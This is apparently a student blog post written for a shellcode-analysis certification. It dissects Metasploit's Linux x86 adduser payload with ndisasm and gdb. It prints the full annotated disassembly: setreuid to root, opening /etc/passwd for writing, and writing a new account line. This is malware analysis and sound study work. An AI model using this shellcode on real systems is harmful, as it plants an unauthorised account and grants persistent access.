Assignment 5.3: MSF shellcode analysis linux/x86/adduser


Analyse at least 3 shellcode samples created using msfpayload for linux/x86. Use gdb/ndisasm/libemu to investigate the functionality and present your findings.


 

The third shellcode sample we will analyse is the linux/x86/adduser. First we check the options to see if we need to set any parameters:

a53_p1

There are two parameters we need to set, the user and the password. Generate the raw shellcode, and pass it through ndisasm to disassemble:

a53_p2

 

On first glance, there seem to be a lot of “weird” instructions around the middle part of the disassembled listing. We will get into that latter on. Let’s analyse the first part of the code. There are some common zeroing out of registers, and then EAX is loaded with 0x46 (70), before the int 80 instruction. Looking into /usr/include/i386-linux-gnu/asm/unistd_32.h we see:

a53_p3

The man page for setreuid will tell us all we need to know for this call:

a53_p4

The values of Real userID and Effective UserID are passed as parameters in the registers EBX, ECX. Return from this function (into EAX) should be 0 to indicate that we have successfully executed the call. We will need to run the code inside gdb. Extract the code in C format, cut, paste into shellcode.c, compile and execute under gdb:

a53_p5

Set the breakpoint at the start of the shellcode:

a53_p6

 

We will step through the code, until we execute the syscall:

a53_p7

Observe that the return value (EAX) is not zero, i.e. we failed to set real/effective uid to 0. This is quite normal since we are executing the shellcode as a non-root user. Since this shellcode is supposed to make a new entry into /etc/passwd, we need to execute it with elevated (root) privileges:

a53_p8

Step once more:

a53_p9

Yes, this time the syscall was successful. Of course, we must be extremely careful running the code with super user privileges. I am not executing this on my everyday system, rather on a dedicated analysis system, which I do not really mind messing with. Also the source of the shellcode is trusted i.e. metasploit.

Here are the comments for the first part of the shellcode:

a53_p10

The next part of the code stores 0x5 into EAX, to prepare for a syscall. Looking into unistd_32.h:

a53_p11

The man page for open() is presented below:

a53_p12

So, EBX should point to the filename, and ECX should be the flags, which denotes the access mode we want to have on this file. To see the possible values we can look into fcntl.h:

a53_p13

The commentary for the second part of the code can now be completed:

a53_p14

 

Moving on we reach the part of the code that has some interesting new instructions:

a53_p15

 

We can see that there is a call instruction, which will transfer code execution at offset 0x50. In our disassembled listing, the offsets (first column) do not match, the closest is 0x4f, and then 0x52. Observe, that on 0x4f we see the 0A byte value (new line), followed by 59 8B. The opcodes marked by the yellow area, should be a string value, in the form of a declare byte, in the original listing i.e. a string constant, which ends with the new line character. All the values fall within the printable ASCII characters range (0x20-0x7E). If we extract those values and use an echo –ne command we see the following:

a53_p16

So this is indeed the entry that we are going to put inside /etc/passwd file. In order to get a correct disassembly listing from ndisasm, we will have to use the –k option, to define a portion of the shellcode that we want to skip from the disassembly process. Offset is 0x2B (43) and the length of the code is 0x50 – 0x2b= 80-43=37. The command for ndisasm is presented below:

a53_p17

 

We are now able to have the correct disassembly listing and analyse the last part of the code:

a53_p18

The last part of the code writes the new entry to the file, and then exits. It is interesting that the length of the string has not been passed via a direct mov edx,<length> but instead the actual byte value within the call instruction was used.

The following presents the complete analysis:


00000000  31C9              xor ecx,ecx                 ;zero out ECX
00000002  89CB              mov ebx,ecx                 ;zero out EBX
00000004  6A46              push byte +0x46             ;push on stack 0x46 (70)
00000006  58                pop eax                     ;pop from stack 0x46 into EAX
00000007  CD80              int 0x80                    ;syscall setreuid (0,0)
00000009  6A05              push byte +0x5              ;push 0x5 on stack
0000000B  58                pop eax                     ;pop 0x5 from stack into EAX
0000000C  31C9              xor ecx,ecx                 ;zero out ECX
0000000E  51                push ecx                    ;push 0 on the stack
0000000F  6873737764        push dword 0x64777373       ;push dwss on stack
00000014  682F2F7061        push dword 0x61702f2f       ;push ap// on stack
00000019  682F657463        push dword 0x6374652f       ;push cte/ on stack
0000001E  89E3              mov ebx,esp                 ;EBX points to top of stack
00000020  41                inc ecx                     ;ECX = 1
00000021  B504              mov ch,0x4                  ;ECX = 0x401
00000023  CD80              int 0x80                    ;syscall open(/etc//passwd, 401)
                                                        ;we open the file with write perms

00000025  93                xchg eax,ebx                ;store file descriptor from open() into EBX
                                                        ;EAX=previous value of EBX, i.e. stack pointer
                                                        ;from open()
00000026  E825000000        call dword 0x50             ;jump to offset 0x50

0000002B  skipping 0x25 bytes                           ;this section holds the line we want to
                                                        ;add into /etc/passwd

00000050  59                pop ecx                     ;ECX points to the point where we need to return
                                                        ;from the call above, effectively
                                                        ;at the start of the string
00000051  8B51FC            mov edx,[ecx-0x4]           ;EDX = 0x25 (start of string - 4 bytes
                                                        ;points us to 0x25, effectively, this is the
                                                        ;LENGTH of the string we need to write)
00000054  6A04              push byte +0x4              ;push 4 on stack
00000056  58                pop eax                     ;pop 4 from stack into EAX
00000057  CD80              int 0x80                    ;syscall write()
                                                        ;EBX, fd to write to
                                                        ;ECX, pointer to buffer containing the data
                                                        ;EDX, bytes count

00000059  6A01              push byte +0x1              ;push 1 on stack
0000005B  58                pop eax                     ;pop 1 from stack into EAX
0000005C  CD80              int 0x80                    ;syscall exit()

 


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-645


 

 

, , ,

  1. Leave a comment

Leave a comment

Design a site like this with WordPress.com
Get started